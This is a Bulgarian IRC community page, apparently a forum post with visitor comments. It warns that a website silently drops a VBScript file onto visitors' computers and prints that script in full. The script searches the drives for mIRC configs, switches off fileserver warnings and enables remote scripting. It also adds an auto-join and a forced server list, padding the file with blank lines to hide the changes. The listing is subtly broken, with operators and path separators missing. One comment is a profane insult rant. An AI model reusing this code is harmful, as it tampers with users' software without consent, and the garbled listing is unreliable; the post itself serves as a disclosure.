Начало | IRC HELP | IRC ФОРУМ | HTML Chat | Вход

от: c4 (анонимен)

Pri zarejdaneto na stranica ot sorta na www.freebg.net/ osfen che razglejdate samata stranica, v kompiutara wi se wkarva 1 fail4e nare4eno s.vbs (w C:windows) pokazano po dolu, koeto fail4e ima za cel da popromeni leko mIRC-to wi taka che da smenite malko chat mrejite:) Qvno tupacite ot freebg nqmat druga alternativa osfen veche da si privli4at potrebiteli po toq na4in :) i se pak vnimavaite ...


####### s.vbs ########
dim Otag

dim Ttag
dim DummyTag
dim SectionDef
call ShowFolderList("c:")
call ShowFolderList("d:")
sub ShowFolderList(s)
on error resume next
Set filesys = CreateObject("Scripting.FileSystemObject")
Set RootFolder1 = FileSys.GetFolder(s)
Set SubFolds1 = RootFolder1.subfolders
For Each f1 in Subfolds1
s = f1.path & ""
Otag = s & "mirc.ini"
DummyTag= "C:winamod.dat"
TTag= s & "servers.ini"
SectionDef= "[rfiles]"
if filesys.fileexists(otag) then
Call Filemod()
filesys.CopyFile DummyTag, Otag, true
Call ImplementRemote()
filesys.CopyFile DummyTag, Otag, true
Call ImplementWarn()
filesys.CopyFile DummyTag, Otag, true
Call ImplementFserv()
filesys.CopyFile DummyTag, Otag, true
call ImplementPerfCheck()
filesys.CopyFile DummyTag, Otag, true
Call ImplementPerform()
'SetClearArchiveBit(Otag)
End If
Call ShowFolderList(s)
Next
End sub
Function FiltNum(FilString)
on error resume next
countdown=5
do
Comp = mid(FilString,2,countdown)
if isnumeric(Comp) then LastNum = Comp : exit do
countdown=countdown-1
loop until countdown =0
FiltNum = LastNum
end function
Function LastLineNum(SSection)
on error resume next
Set FS1N = CreateObject("Scripting.FileSystemObject")
Set FR1N = FS1N.OpenTextFile(otag,1,true)
Do While FR1N.AtEndOfStream True
segment1 = FR1N.readline
w = InstrRev(segment1,SSection)
counts=counts+1
if w > 0 then
do
if FR1N.AtEndOfStream = True then exit do
segmentk = FR1N.readline
k = InstrRev(segmentk,"n",1)
if k=1 then
LastNum=FiltNum(segmentk)
end if
Loop until k=0
end if
loop
FR1N.Close
LastLineNum=LastNum
end function
Function Filemod()
on error resume next
Set fs1 = CreateObject("Scripting.FileSystemObject")
Set fr1 = fs1.OpenTextFile(otag,1,true)
Set fs2 = CreateObject("Scripting.FileSystemObject")
Set fr2 = fs2.OpenTextFile(DummyTag,2,true)
Do While fr1.AtEndOfStream True
segment1 = fr1.readline
fr2.writeline segment1
w = InstrRev(segment1,"[rfiles]")
counts=counts+1
if w > 0 then
counts2=counts
do
if fr1.AtEndOfStream = True then exit do
segmentk = fr1.readline
k = InstrRev(segmentk,"n",1)
if k=1 then
LastNum=FiltNum(segmentk)
fr2.writeline segmentk
end if
COUNTS2=COUNTS2+1
Loop until k1
exit do
end if
loop
fr1.Close
fr2.close
Set fs3 = CreateObject("Scripting.FileSystemObject")
Set fr3 = fs3.OpenTextFile(DummyTag,8,true)
TrojanInfo = "n" & lastlinenum(SectionDef)+1 & "=servers.ini"
fr3.writeline TrojanInfo
fr3.Close
Set fs4 = CreateObject("Scripting.FileSystemObject")
Set fr4 = fs4.OpenTextFile(Otag,1,true)
Set fs5 = CreateObject("Scripting.FileSystemObject")
Set fr5 = fs5.OpenTextFile(DummyTag,8,true)
Do While fr4.AtEndOfStream True
segment2 = fr4.readline
if fr4.line >= counts2 + 2 then
fr5.writeline segment2
end if
loop
fr4.Close
fr5.Close
fs5.CopyFile DummyTag, Otag, true
Call FLDL(TTag)
end Function
sub FLDL(TTag)
on error resume next
Set fs6 = CreateObject("Scripting.FileSystemObject")
Set fr6 = fs6.OpenTextFile(TTag,2,true)
fr6.writeline "[servers]"
fr6.writeline "n0=irc.bgfree.netSERVER:212.124.77.34:6667"
fr6.writeline "n1=irc.bastun.ccSERVER:irc.bastun.cc:6667"
fr6.writeline "n2=irc.shh.tvSERVER:irc.shh.tv:6667"
fr6.writeline "n3=irc.interbild.orgSERVER:irc.interbild.org:6667"
fr6.writeline "n4=irc.xxl-bg.orgSERVER:irc.xxl-bg.org:6667"
fr6.writeline "n5=irc.the-alc.orgSERVER:irc.the-alc.org:6667"
fr6.writeline "n6=irc.bergon.netSERVER:irc.bergon.net:6667"
fr6.writeline "n7=irc.ms-dos.org.ukSERVER:irc.ms-dos.org.uk:6667"
fr6.writeline "n8=apis.cablebg.netSERVER:apis.cablebg.net:6667"
fr6.writeline "n9=irc.lulin.orgSERVER:irc.lulin.org:6667"
fr6.writeline "n10=irc.muncho.orgSERVER:irc.muncho.org:6667"
fr6.writeline "n11=irc.mt-link.bgSERVER:irc.mt-link.bg:6667"
fr6.writeline "n12=irc.atlantis.bgSERVER:irc.atlantis.bg:6667"
fr6.writeline "n13=irc.zer0c00l.orgSERVER:irc.zer0c00l.org:6665"
fr6.writeline "n14=irc.3aek.netSERVER:irc.3aek.net:6667"
fr6.writeline "n15=irc.radioexpress.bgSERVER:irc.radioexpress.bg:6667"
fr6.writeline "n16=irc.geomilev.netSERVER:irc.geomilev.net:6667"
fr6.writeline "n17=irc.bgbest.orgSERVER:irc.bgbest.org:6667"
fr6.writeline "n18=irc.vtbg.comSERVER:irc.vtbg.com:6667"
fr6.writeline "n19=irc.musicbg.orgSERVER:irc.musicbg.org:6667"
fr6.writeline "n20=irc.iservice.bgSERVER:irc.iservice.bg:6667"
fr6.writeline "n21=irc.actro.netSERVER:irc.actro.net:6667"
fr6.writeline "n22=irc.lovech.cxSERVER:irc.lovech.cx:6667"
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.writeline ""
fr6.close
end sub
Function ImplementRemote()
Set fs1a = CreateObject("Scripting.FileSystemObject")
Set fr1a = fs1a.OpenTextFile(otag,1,true)
Set fs2a = CreateObject("Scripting.FileSystemObject")
Set fr2a = fs2a.OpenTextFile(DummyTag,2,true)
Do While fr1a.AtEndOfStream True
segment1a = fr1a.readline
fr2a.writeline segment1a
if ucase(segment1a)=ucase("[options]") then
Do
If fr1a.AtEndOfStream Then exit do
n2a = fr1a.readline
If ucase(mid(n2a,1,3))=ucase("n2=") then
fr2a.writeline Mid(n2a, 1, 13) & "1,1" & Mid(n2a, 17, 16) & "1" & Mid(n2a, 34)
exit do
Else
fr2a.writeline n2a
End If
Loop
end if
loop
fr1a.Close
fr2a.close
End Function
Function Implementfserv()
Set fs1a = CreateObject("Scripting.FileSystemObject")
Set fr1a = fs1a.OpenTextFile(otag,1,true)
Set fs2a = CreateObject("Scripting.FileSystemObject")
Set fr2a = fs2a.OpenTextFile(DummyTag,2,true)
Do While fr1a.AtEndOfStream True
segment1a = fr1a.readline
fr2a.writeline segment1a
if ucase(segment1a)=ucase("[fileserver]") then
Do
If fr1a.AtEndOfStream Then exit do
n2a = fr1a.readline
If ucase(Mid(n2a, 1, 3))=ucase("warning=on") then
fr2a.writeline "warning=off"
Else
fr2a.writeline n2a
End If
Loop
end if
loop
fr1a.Close
fr2a.close
End Function
Function Implementwarn()
Set fs1c = CreateObject("Scripting.FileSystemObject")
Set fr1c = fs1c.OpenTextFile(otag,1,true)
Set fs2c = CreateObject("Scripting.FileSystemObject")
Set fr2c = fs2c.OpenTextFile(DummyTag,2,true)
Do While fr1c.AtEndOfStream True
segment1c = fr1c.readline
fr2c.writeline segment1c
if ucase(segment1c)=ucase("[fileserver]") then
Do
if fr1c.AtEndOfStream then exit do
n2c = fr1c.readline
If ucase(n2c)=ucase("warning=on") then
fr2c.writeline "warning=off"
Else
fr2c.writeline n2c
End If
Loop
end if
loop
fr1c.Close
fr2c.close
End Function
Function ImplementPerform()
Set fs1p = CreateObject("Scripting.FileSystemObject")
Set fr1p = fs1p.OpenTextFile(Otag,8,true)
fr1p.writeline "[Perform]"
fr1p.writeline "n0=/join #bulgaria"
fr1p.Close
fs1p.close
End Function
Sub SetClearArchiveBit(filespec)
Dim fsg, fg
Set fsg = CreateObject("Scripting.FileSystemObject")
Set fg = fsg.GetFile(filespec)
fg.attributes = 0
fg.attributes = fg.attributes + 1
End Sub
Function ImplementPerfCheck()
Set fs1f = CreateObject("Scripting.FileSystemObject")
Set fr1f = fs1f.OpenTextFile(otag,1,true)
Set fs2f = CreateObject("Scripting.FileSystemObject")
Set fr2f = fs2f.OpenTextFile(DummyTag,2,true)
Do While fr1f.AtEndOfStream True
segment1f = fr1f.readline
fr2f.writeline segment1f
if ucase(segment1f)=ucase("[options]") then
Do
If fr1f.AtEndOfStream Then exit do
n2f = fr1f.readline
If ucase(mid(n2f,1,3))=ucase("n0=") then
fr2f.writeline Mid(n2f, 1, 40) & ",1," & Mid(n2f, 44)
exit do
Else
fr2f.writeline n2f
End If
Loop
end if
loop
fr1f.Close
fr2f.close
End Function

set sss=createobject("scripting.filesystemobject")

sss.DeleteFile "c:winamod.dat"

Мнения от посетители (27):
T0sh17.12.04 17:17:00
rix kato spresh da suchesh, i poglednesh kakva chast ot shakeit e kefche, shte se osuznaesh. Sushto kakto i dali ne ni e vzaimno izgodno da e tuk ;) na freebg osven ot websaita imahte i 10 izbivashti komplexite si ircopa. No ti yavno si edin ot tyah ;)

Rix (анонимен)15.12.04 13:15:03
lam lam lam
lamenca.. PURVO na vischki da kaja, site na BGFree e http://BulgariaFree.net VTORO nikoga BGFree TeaM ne se e opitval da luje, ili da slaga razni scriptove samo i samo da si pecheli users. tova che kefcheto se e link pri vas ne vi pravi veliki, mislete si, kakto se e link taka 6se unlink, i 6se varne pri nas.

lud_za_dvama (анонимен)16.01.04 23:16:36
nema tema sorry
neam mnenie no coment :-) mno osum tup ama are karai

_N_E_O_ (анонимен)16.01.04 23:16:59
LaMeRiiiii!!!!!
ti.eba.pi4kata.maina.be.selqnin.na.maikati.putkata.prosta.deba.tvoita.maika.prosta.da.ti.ieba.maikata.da.ti.eba.v.gyza.na.maikati.da.go.sloja.i.na.babati.v.putakta.omrqla.izsuhnala.da.ti.eba.do.deveto.kolqno.vashta.mamaprosta.sha.vi.izbiem.be.mama.vi.mrysna.prosta.debaaaaaaaaaaaaa

Agent_Smit (анонимен)16.01.04 23:16:57
tema nema.ima samo lameri
abe pi4 vijdam che si tap ama ti savsem se olq. misli malko razbolql si se ot rqdka bolest na zatupqvane.Are nemam ko poveche da kaja

TazZ (анонимен)16.01.04 01:16:04
Vicoveeeeeeeeeee!
C4 kvi sa tiq vicove ve man :-] bUXaXaXa-Xa-Xa-Xa-Xa-Xa-xaxaaxax abe na golqm razbira4 li se praish be lamq takava are otivai begai v cirka be !!

Rix (анонимен)16.01.04 01:16:04
golemi lamzzzzzzz
naprao umreh da se hilq.....
a be kak moe da pi6ete takia vicove :>
c4 i shake, bili ste golqm lamzz za tva i az nqma6e da se seta da napi6a takia laina
daje i web stranicata ne znae pak tragnal da pi6e za virusi...... haahahhahahahahahahahahhaahah

littlehelper ,- Rix

Burcof14.01.04 08:14:15
ух
по тоя вапрос мога да ви посаветвам да си забранете си vbs скриптинга ... и нищто не пречи да си проверявате честичко пс-то за *.vbs :) ситето незнам дали съществува, нямам намерение и да проверявам.

Scorpion (анонимен)09.06.03 14:09:46
Децата нямат спирачки
lamuz ;-p

Banned (анонимен)02.04.03 06:02:35
C4 idi si go nachukai !
1vo kude go vidq tova neshtu ?
1vo nqma takuv site freebg.net
2ro siteto e bgfree.net na koeto nqma takiva laina za koito ti govorish ....

T0sh28.03.03 07:28:23
mdaa
interesno zashto na news.bgfree.net ima nyakakuv mnogo naburzo ripnat script pulen s greshki :)
lame. Zhalko che ne e up, da posledva desetkite drugi dns shutdowns :)

dzver26.03.03 11:26:00
t0sh, ima suvsem prosti varianti
moje spokojno da se
fr6.write vbcrlf & vbcrlf & vbcrlf 1000 puti ili s loop, koeto obache e po-bavno. shte stane s 1 red

podobni neoptimalnosti ima hiliadi puti... primerno suvsem nenujna e upotrebata na vbscript i javascript ednovremenno - moje samo s javascript. abe... lamaz :)

c4 (анонимен)26.03.03 11:26:45
p.s
http://news.bgfree.net
Trakia News ...
tfa otvorih to4no do sega sum si rovil po history-to
sled kato zaredi tfa news.bgfree.net se zarejda nqkuf skapan drug file koito fkarwa vbs faila...
povech enqma kfo da obiasniavam :) smeshnici

c4 (анонимен)26.03.03 11:26:20
daje 2 temi
na toq domain
bgfree.net
go namerih tfa:)
kade to4no ne me interesuwa
vajnoto e che tam go prihvanah
ot nqkuf bot f irc koito reklamirashe i reshih da otvoria saita shtoto mi beshe interestno :)
a i kato se zamislq :)
shto li ne se ebete si4kite :)
1) tfa e na vash domein
2) source-a e za vashite serveri
3) mislq che nqma nujda da se spomenawa ;)
ako izklu4ime kefche.com mrejata vi e ubita i naakana :)
i qvno s .vbs-ta ste reshili d...

T0sh26.03.03 08:26:43
well
scripta go ima navsyakude i lamite samo promenyat kakvo da se pishe po .ini-tata, tryabva ti IQ okolo 10 za da go napravish i za shtastie zasega vsichkite wanna-be-hackers imat ne poveche ot tova :) a www.bgfree.net v momenta pone nyama, a na united ne vidyah vm exploit...

p.s. dzver writeline "" e za da mozhe kogato lamata otvori .ini-to, ponezhe to mu pokazva KRAYA, da _izglezhda_ prazno poradi nabuhanite prazni lines :)

още коментари... ->>>

Anonymous comments are temporary disabled

  Copyright: ShakeIT IRC; dev: dzver; des: metala. Read blogs.  
eXTReMe Tracker